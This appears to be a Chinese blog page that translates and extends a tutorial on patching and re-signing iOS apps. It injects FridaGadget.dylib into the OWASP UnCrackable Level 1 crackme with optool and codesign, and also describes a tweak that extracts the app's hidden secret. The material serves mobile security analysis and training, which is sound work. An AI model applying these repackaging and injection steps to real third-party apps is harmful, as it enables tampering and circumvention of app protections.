到这里,基本上需要的东西都已经准备齐全了,我们新建一个文件夹resign,将上面所有的东西都放在一起,接下来就要开始打补丁和重签名了。

拆包清洗

1. 将ipa包加压缩

1
unzip UnCrackable_Level1.ipa

可以看到解压出一个Payload文件夹。

2. 拷贝动态库到资源包里面

1
$ cp FridaGadget.dylib Payload/UnCrackable\ Level\ 1.app/

3. 额外加载动态库,使用optool插入加载命令到二进制文件

1
$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t Payload/UnCrackable\ Level\ 1.app/UnCrackable\ Level\ 1

其中 -c 为指定 load_command 命令,-p 指定动态库的路径, -t指定目标文件。

4. 拷贝描述文件,并改名为embedded.mobileprovision

1
$ cp COM_OSG_UNCRACK.mobileprovision Payload/UnCrackable\ Level\ 1.app/embedded.mobileprovision

5. 将info.plist文件里面的包名更改为你自己的包名

6. 使用codesign来进行代码签名

安装运行

到这里基本上打补丁和重签名就完成了,接下来可以使用ios-deploy这个工具来安装应用到手机,也可以直接重新压缩为zip格式并改为ipa后缀来安装。

1
$ ios-deploy --debug --bundle Payload/UnCrackable\ Level\ 1.app/

可以看到启动成功,并安装到手机上面,而且还进入lldb的调试模式:

另外,我们可以看到终端打印出来Frida已经运行,并且开启了监听端口。

接下来我们来验证一下我们的frida是否成功插入app里面。

运行下面的命令:

1
$ frida-ps -U

可以看到对应的Server:

至此,我们的重签名步骤也全部完成了。✌️

打开新世界大门

然而,当我们结束了以上的操作步骤,我们会觉得有点点的小空虚,甚至有点茫然???exm?就这样结束了?好像没有多大的意思,没有感受到一点点打补丁的快感。

我们将本文实验的UnCrackable app安装到手机后,打开的界面是这样的:

一个非常简洁的界面,这里告诉了我们有一个秘密藏在了一个隐藏的Label,你想要通关,就要找出那个label。将label的内容填入输入框内,点击按钮就可以进行验证密文是否正确。

现在我们的扩展任务就是将密文找出来破解掉。

这里的笔者的简单思路是这样的:既然有一个隐藏的label在这个界面上,那么只要遍历这个界面的子视图,判断是否为label类,并且判断是否为隐藏属性,如果都符合,那应该就是我们要找的通过密文了。

我们可以写一个小小的Tweak,来实现我们的思路。

Tweak内容如下:

这里可能有朋友会问,我怎么知道该hook哪个类呢?这里有很多种方法,例如可以dump应用的头文件,也可以使用Hopper来查看反汇编的代码,都可以很容易的找到这个界面类,当然,我们上面安装的ios-deploy工具和Frida都可以完成这个功能,这里就不一一展开。

这里我们将这个Tweak文件编译打包成dylib文件,这里我已经提供好了,看官可以在这里下载:

补丁包下载地址: UncrackTw.dylib

之后会有专题专门介绍如何编写Tweak生成dylib文件的,这里先不展开叙述。

这样一来,我们就可以重复上面我们的操作了,将我们下载的 UncrackTw.dylib文件作为补丁插入到app里面,然后进行重签名,安装到我们的机子后,我们看看出来的效果界面是这样的:

我们可以看到,这里我们的补丁已经将这个界面隐藏的label找出来,并且将它的属性修改为可见,还把密文自动填入输入框中:

我们可以点击Verify按钮来验证密文是否正确:

可以看到,我们找到了正确的密文。至此,我们也算是正式的体验了一把小小的hack。

接下来就开启了一个新世界,怎么玩就看少年你了!!

Patching and Re-Signing iOS Apps

Veröffentlicht am 2017-06-30

对iOS Apps打补丁以及重签名

原著地址:Patching and Re-Signing iOS Apps
作者: Bernhard Mueller
翻译: Chensh

前言

在没有越狱的设备上运行经过修改的iOS二进制文件,听起来是一个不错的主意,特别是当你的越狱机子变砖后,你想把机子更新为非越狱的iOS版本的时候(尽管我和我身边的人重来没遇到过这种事情)。

你可以使用这种技术对app进行动态分析,假如你在非洲,你可以做一个虚假的GPS定位来欺骗锁区的Pokemon,又不想被越狱检测。不管如何,你可以跟着下面的教程来修改一个app并且重签,然后让它运行在你未越狱的设备上。注意这里的技术实现的前提条件是需要先砸壳,特别是来自App Store的App。

由于苹果有代码签名系统和配置描述的规定,使得重签一个app不是一项简单的挑战。如果一个app的配置描述文件和代码签名头部不完全一致,则会被iOS系统拒绝运行。这就要求你需要学习许多相关的概念——证书、包名、应用ID、团队标识符以及如何使用苹果的构建工具将他们绑定在一起。完全可以说,不使用Xcode这种默认方式去构建一个系统可以运行的特定的二进制文件,是一个巨大的挑战。

我们将要使用的工具包括optool,苹果的构建工具以及一些Shell命令。这个方法中的重签脚本灵感来源于 Vincent Tan’s Swizzler project。另外的重打包来源于NCC group。

要复现以下步骤,请先下载一个app:UnCrackable iOS App Level 1,来自OWASP移动测试指南的分支。我们的目标是使得 UnCrackable 这个app在启动的时候加载 FridaGadget.dylib 这个动态库,这样我们就能使用Frida来进行分析。

获取一份开发者配置文件和证书

配置文件是由你的一个或多个设备上的代码签名证书集成的一份plist格式的文件,由苹果进行白名单签名验证。就是说,苹果明确的要求你的应用运行在某一特性的环境里,例如在选定的设备上进行调试。配置文件也列出了你的应用拥有的权限,而代码签名证书里面包含了将要用于真实签名的私钥。

根据你是否已经注册为iOS开发者,你可以选择一下两种方式之一去获取证书和配置文件。

使用iOS开发者账号:

如果你之前曾使用Xcode开发和部署过iOS应用,那么你已经拥有了一个代码签名证书。使用security工具可以列出你当前存在的签名标志:

1
2
3
$ security find-identity -p codesigning -v
1) 61FA3547E0AF42A11E233F6A2B255E6B6AF262CE "iPhone Distribution: Vantage Point Security Pte. Ltd."
2) 8004380F331DCA22CC1B47FB1A805890AE41C938 "iPhone Developer: Bernhard Müller (RV852WND79)"

注册开发者账号能够从苹果开发者网站获取到配置文件,这里有份指南,可以指导第一次创建相应的证书和配置文件,戳这里。对于重打包来说,并不特定要求你选择了什么应用ID,你甚至可以重用一个已经存在的ID。最重要的事情是拥有一份匹配的配置文件。确保你创建了一份开发环境的配置文件,而不是一份发布描述文件,这样你才能对app进行调试。

在以下的shell命令列表中,我将会使用我公司的开发团队关联的个人签名身份。并创建了一个应用id为”sg.vp.repackaged”,以及一将配置文件取名为”AwesomeRepackaging”,这样生成出来的配置文件就是”AwesomeRepacaging.mobileprovision”——这里需要更换成你自己的id名和配置文件名。

使用常规的iTunes账号:

虽然你不是一个付费开发者,但苹果还是提供了一个免费的开发者配置文件。你可以在Xcode里面使用你的Apple账号获取这个配置文件,只需简单的编译一个空的iOS工程,然后从app资源包里面提取出这个embedded.mobileprovision,具体可以参考NCC blog的这篇博文。

当你获取到这个配置文件后,你可以使用security这个工具来查看它的内容。除了许可证书以及设备外,你还能在这个描述文件找到app的权限授权表。在之后的代码签名里面,你需要这个表,所以下面将演示如何将他们提取出来到一个plist格式的文件里。也可以看看文件的内容,看看是否如预期般。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ security cms -D -i AwesomeRepackaging.mobileprovision > profile.plist
$ /usr/libexec/PlistBuddy -x -c 'Print :Entitlements' profile.plist > entitlements.plist
$ cat entitlements.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>LRUD9L355Y.sg.vantagepoint.repackage</string>
<key>com.apple.developer.team-identifier</key>
<string>LRUD9L355Y</string>
<key>get-task-allow</key>
<true/>
<key>keychain-access-groups</key>
<array>
<string>LRUD9L355Y.*</string>
</array>
</dict>
</plist>

注意到我们的App ID是由团队标识符(LRUD9L355Y)以及包名(sg.vantagepoint.repackage)组合而成的。这个配置文件只对携带这样特定的app id才有效。“get-task-allow”这个键非常重要,当它为true时,像debugging server这样的其他进程才能够附加到这个app。可想而知,在发布描述文件里面,这个键的值肯定是false的。

其他准备工作

为了在我们的app启动的时候加载一个附加的库,我们需要插入一条额外的加载命令到主程序的Mach-O头中。这里我们使用optool工具来自动化这个工程:

1
2
3
$ git clone https://github.com/alexzielenski/optool.git
$ cd optool/
$ git submodule update --init --recursive

我们也将使用到ios-deploy这个工具,这个工具能够在不使用Xcode的情况下发布或者调试iOS。(npm是Nodejs的包管理器,如果你还没有安装Nodejs,你可以使用homebrew来安装,或者到官网直接下载安装包)

1
$ npm install -g ios-deploy

另外,在教程开始前,你还需要先把 FridaGadget.dylib 这个动态库下载下来。

1
$ curl -O https://build.frida.re/frida/ios/lib/FridaGadget.dylib

除了以上提到的工具,我们还需要使用一些原生系统工具和Xcode的编译工具,所以确保你已经安装了Xcode命令行开发工具。

打补丁,重打包以及重签名

来不及了,快上车吧!

如你所知,IPA文件其实一种ZIP压缩格式,所以我们可以使用zip工具来解压缩。然后将FridaGadget.dylib拷贝到文件目录下。并且使用optool工具将一条加载命令插入到UnCrackable Level 1这个二进制文件内。

1
2
3
4
5
6
7
8
9
10
11
$ unzip UnCrackable_Level1.ipa
$ cp FridaGadget.dylib Payload/UnCrackable\ Level\ 1.app/
$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t Payload/UnCrackable\ Level\ 1.app/UnCrackable\ Level\ 1
Found FAT Header
Found thin header...
Found thin header...
Inserting a LC_LOAD_DYLIB command for architecture: arm
Successfully inserted a LC_LOAD_DYLIB command for arm
Inserting a LC_LOAD_DYLIB command for architecture: arm64
Successfully inserted a LC_LOAD_DYLIB command for arm64
Writing executable to Payload/UnCrackable Level 1.app/UnCrackable Level 1...

这种对主程序明显的篡改将会使得它的代码签名失效。所以这个无法再非越狱机子上面运行。所以你将需要替换掉配置文件,并使用描述文件中列举的证书对主程序和FridaGadget.dylib进行重新签名。

第一步,将我们的自己的配置文件拷贝到资源包里面:

1
$ cp AwesomeRepackaging.mobileprovision Payload/UnCrackable\ Level\ 1.app/embedded.mobileprovision\

第二步,我们需要确保在Info.plist中的包名是否跟我们的描述文件里面指定的一致。因为在重签的过程中,codesign会检查我们的Info.plist文件里面的包名,如果不匹配则会返回一个错误值。

1
$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier sg.vantagepoint.repackage" Payload/UnCrackable\ Level\ 1.app/Info.plist

最后,我们需要使用代码签名工具来重签所有的二进制文件:

1
2
3
4
5
$ rm -rf Payload/F/_CodeSignature
$ /usr/bin/codesign --force --sign 8004380F331DCA22CC1B47FB1A805890AE41C938 Payload/UnCrackable\ Level\ 1.app/FridaGadget.dylib
Payload/UnCrackable Level 1.app/FridaGadget.dylib: replacing existing signature
$ /usr/bin/codesign --force --sign 8004380F331DCA22CC1B47FB1A805890AE41C938 --entitlements entitlements.plist Payload/UnCrackable\ Level\ 1.app/UnCrackable\ Level\ 1
Payload/UnCrackable Level 1.app/UnCrackable Level 1: replacing existing signature

安装并运行应用

现在你可以开始部署并运行修改后的app了,如下操作:

1
$ ios-deploy --debug --bundle Payload/UnCrackable\ Level\ 1.app/

如果一切顺利的话,app应该会附加lldb并以调试模式运行在设备上。Frida现在也附加到应用上了,可是使用frida-ps命令来验证一下:

1
2
3
4
$ frida-ps -U
PID Name
--- ------
499 Gadget

现在你可以使用Frida来正常调试你的应用了!

故障排除

如果发生什么错误,有可能是配置文件和代码签名头不匹配,这种情况建议阅读一下官方文档,了解一下整个系统是如何运行的。另外还可以参考苹果授权故障排除这个页面。

关于这篇文件

这篇文章是Mobile Reverse Engineering Unleashed的系列之一。你可以访问这里来查看更多相关文章。

Chensh

Chensh

举眉间仲夏,绿荫里蝉鸣

6 Artikel
3 Tags
© 2017 Chensh
Erstellt mit Hexo
Theme - NexT.Muse